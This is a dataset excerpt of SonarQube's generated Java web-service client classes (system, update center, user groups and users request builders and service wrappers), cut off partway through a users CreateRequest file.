repo stringlengths 1 191 ⌀ | file stringlengths 23 351 | code stringlengths 0 5.32M | file_length int64 0 5.32M | avg_line_length float64 0 2.9k | max_line_length int64 0 288k | extension_type stringclasses 1 value |
|---|---|---|---|---|---|---|
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/system/SystemService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.system;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
import org.sonarqube.ws.System.HealthResponse;
import org.sonarqube.ws.System.StatusResponse;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class SystemService extends BaseService {
public SystemService(WsConnector wsConnector) {
super(wsConnector, "api/system");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/change_log_level">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public void changeLogLevel(ChangeLogLevelRequest request) {
call(
new PostRequest(path("change_log_level"))
.setParam("level", request.getLevel())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/db_migration_status">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public String dbMigrationStatus() {
return call(
new GetRequest(path("db_migration_status"))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/health">Further information about this action online (including a response example)</a>
* @since 6.6
*/
public HealthResponse health() {
return call(
new GetRequest(path("health")),
HealthResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/info">Further information about this action online (including a response example)</a>
* @since 5.1
*/
public String info() {
return call(
new GetRequest(path("info"))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/logs">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public String logs(LogsRequest request) {
return call(
new GetRequest(path("logs"))
.setParam("process", request.getProcess())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/migrate_db">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public String migrateDb() {
return call(
new PostRequest(path("migrate_db"))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/ping">Further information about this action online (including a response example)</a>
* @since 6.3
*/
public String ping() {
return call(
new GetRequest(path("ping"))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/restart">Further information about this action online (including a response example)</a>
* @since 4.3
*/
public void restart() {
call(
new PostRequest(path("restart"))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/status">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public StatusResponse status() {
return call(
new GetRequest(path("status")),
StatusResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/system/upgrades">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public String upgrades() {
return call(
new GetRequest(path("upgrades"))
.setMediaType(MediaTypes.JSON)
).content();
}
}
| 5,775 | 30.911602 | 175 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/system/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.system;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,039 | 37.518519 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/updatecenter/UpdatecenterService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.updatecenter;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/updatecenter">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class UpdatecenterService extends BaseService {
public UpdatecenterService(WsConnector wsConnector) {
super(wsConnector, "api/updatecenter");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/updatecenter/upload">Further information about this action online (including a response example)</a>
* @since 6.0
*/
public void upload(UploadRequest request) {
call(
new PostRequest(path("upload"))
.setParam("file", request.getFile())
.setMediaType(MediaTypes.JSON)
).content();
}
}
| 1,903 | 34.924528 | 168 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/updatecenter/UploadRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.updatecenter;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/updatecenter/upload">Further information about this action online (including a response example)</a>
* @since 6.0
*/
@Generated("sonar-ws-generator")
public class UploadRequest {
private String file;
/**
* This is a mandatory parameter.
*/
public UploadRequest setFile(String file) {
this.file = file;
return this;
}
public String getFile() {
return file;
}
}
| 1,455 | 29.978723 | 166 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/updatecenter/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.updatecenter;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,045 | 37.740741 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/user/UsersWsParameters.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.user;
public class UsersWsParameters {
public static final String CONTROLLER_USERS = "api/users";
public static final String ACTION_SEARCH = "search";
public static final String ACTION_CREATE = "create";
public static final String ACTION_DEACTIVATE = "deactivate";
public static final String ACTION_UPDATE = "update";
public static final String ACTION_CURRENT = "current";
public static final String ACTION_UPDATE_IDENTITY_PROVIDER = "update_identity_provider";
public static final String PARAM_LOGIN = "login";
public static final String PARAM_PASSWORD = "password";
public static final String PARAM_PREVIOUS_PASSWORD = "previousPassword";
public static final String PARAM_NAME = "name";
public static final String PARAM_EMAIL = "email";
public static final String PARAM_SCM_ACCOUNT = "scmAccount";
public static final String PARAM_LOCAL = "local";
public static final String PARAM_SELECTED = "selected";
public static final String PARAM_NEW_EXTERNAL_PROVIDER = "newExternalProvider";
public static final String PARAM_NEW_EXTERNAL_IDENTITY = "newExternalIdentity";
private UsersWsParameters() {
// Only static stuff
}
}
| 2,045 | 39.92 | 90 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/user/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
package org.sonarqube.ws.client.user;
import javax.annotation.ParametersAreNonnullByDefault;
| 969 | 37.8 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/AddUserRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/add_user">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class AddUserRequest {
private String login;
private String name;
/**
* Example value: "g.hopper"
*/
public AddUserRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* Example value: "sonar-administrators"
*/
public AddUserRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,677 | 26.966667 | 167 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/CreateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/create">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class CreateRequest {
private String description;
private String name;
/**
* Example value: "Default group for new users"
*/
public CreateRequest setDescription(String description) {
this.description = description;
return this;
}
public String getDescription() {
return description;
}
/**
* This is a mandatory parameter.
* Example value: "sonar-users"
*/
public CreateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,760 | 27.868852 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/DeleteRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/delete">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class DeleteRequest {
private String name;
/**
* Example value: "sonar-administrators"
*/
public DeleteRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,460 | 29.4375 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/RemoveUserRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/remove_user">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class RemoveUserRequest {
private String login;
private String name;
/**
* Example value: "g.hopper"
*/
public RemoveUserRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* Example value: "sonar-administrators"
*/
public RemoveUserRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,689 | 27.166667 | 170 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/SearchRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import java.util.List;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/search">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class SearchRequest {
private List<String> f;
private String p;
private String ps;
private String q;
/**
* Possible values:
* <ul>
* <li>"name"</li>
* <li>"description"</li>
* <li>"membersCount"</li>
* </ul>
*/
public SearchRequest setF(List<String> f) {
this.f = f;
return this;
}
public List<String> getF() {
return f;
}
/**
* Example value: "42"
*/
public SearchRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
* Example value: "20"
*/
public SearchRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
* Example value: "sonar-users"
*/
public SearchRequest setQ(String q) {
this.q = q;
return this;
}
public String getQ() {
return q;
}
}
| 2,116 | 22.01087 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/UpdateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/update">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class UpdateRequest {
private String description;
private String name;
/**
* Example value: "Default group for new users"
*/
public UpdateRequest setDescription(String description) {
this.description = description;
return this;
}
public String getDescription() {
return description;
}
/**
* Example value: "my-group"
*/
public UpdateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,721 | 27.7 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/UserGroupsService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import java.util.stream.Collectors;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.UserGroups.CreateWsResponse;
import org.sonarqube.ws.UserGroups.SearchWsResponse;
import org.sonarqube.ws.UserGroups.UpdateWsResponse;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class UserGroupsService extends BaseService {
public UserGroupsService(WsConnector wsConnector) {
super(wsConnector, "api/user_groups");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/add_user">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public void addUser(AddUserRequest request) {
call(
new PostRequest(path("add_user"))
.setParam("login", request.getLogin())
.setParam("name", request.getName())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/create">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public CreateWsResponse create(CreateRequest request) {
return call(
new PostRequest(path("create"))
.setParam("description", request.getDescription())
.setParam("name", request.getName()),
CreateWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/delete">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public void delete(DeleteRequest request) {
call(
new PostRequest(path("delete"))
.setParam("name", request.getName())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/remove_user">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public void removeUser(RemoveUserRequest request) {
call(
new PostRequest(path("remove_user"))
.setParam("login", request.getLogin())
.setParam("name", request.getName())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/search">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public SearchWsResponse search(SearchRequest request) {
return call(
new GetRequest(path("search"))
.setParam("f", request.getF() == null ? null : request.getF().stream().collect(Collectors.joining(",")))
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("q", request.getQ()),
SearchWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/update">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public void update(UpdateRequest request) {
call(
new PostRequest(path("update"))
.setParam("description", request.getDescription())
.setParam("name", request.getName()),
UpdateWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/users">Further information about this action online (including a response example)</a>
* @since 5.2
*/
public String users(UsersRequest request) {
return call(
new GetRequest(path("users"))
.setParam("name", request.getName())
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("q", request.getQ())
.setParam("selected", request.getSelected())
.setMediaType(MediaTypes.JSON)).content();
}
}
| 5,495 | 35.157895 | 172 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/UsersRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.usergroups;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/user_groups/users">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class UsersRequest {
private String name;
private String p;
private String ps;
private String q;
private String selected;
/**
* Example value: "sonar-administrators"
*/
public UsersRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
/**
* Example value: "42"
*/
public UsersRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
* Example value: "20"
*/
public UsersRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
* Example value: "freddy"
*/
public UsersRequest setQ(String q) {
this.q = q;
return this;
}
public String getQ() {
return q;
}
/**
* Possible values:
* <ul>
* <li>"all"</li>
* <li>"deselected"</li>
* <li>"selected"</li>
* </ul>
*/
public UsersRequest setSelected(String selected) {
this.selected = selected;
return this;
}
public String getSelected() {
return selected;
}
}
| 2,324 | 21.355769 | 164 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/usergroups/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.usergroups;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,043 | 37.666667 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/ChangePasswordRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/change_password">Further information about this action online (including a response example)</a>
* @since 5.2
*/
@Generated("sonar-ws-generator")
public class ChangePasswordRequest {
private String login;
private String password;
private String previousPassword;
/**
* This is a mandatory parameter.
* Example value: "myuser"
*/
public ChangePasswordRequest setLogin(String login) {
this.login = login;
return this;
}
public String getLogin() {
return login;
}
/**
* This is a mandatory parameter.
* Example value: "mypassword"
*/
public ChangePasswordRequest setPassword(String password) {
this.password = password;
return this;
}
public String getPassword() {
return password;
}
/**
* Example value: "oldpassword"
*/
public ChangePasswordRequest setPreviousPassword(String previousPassword) {
this.previousPassword = previousPassword;
return this;
}
public String getPreviousPassword() {
return previousPassword;
}
}
| 2,083 | 26.786667 | 168 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/users/CreateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.users;
import java.util.List;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/users/create">Further information about this action online (including a response example)</a>
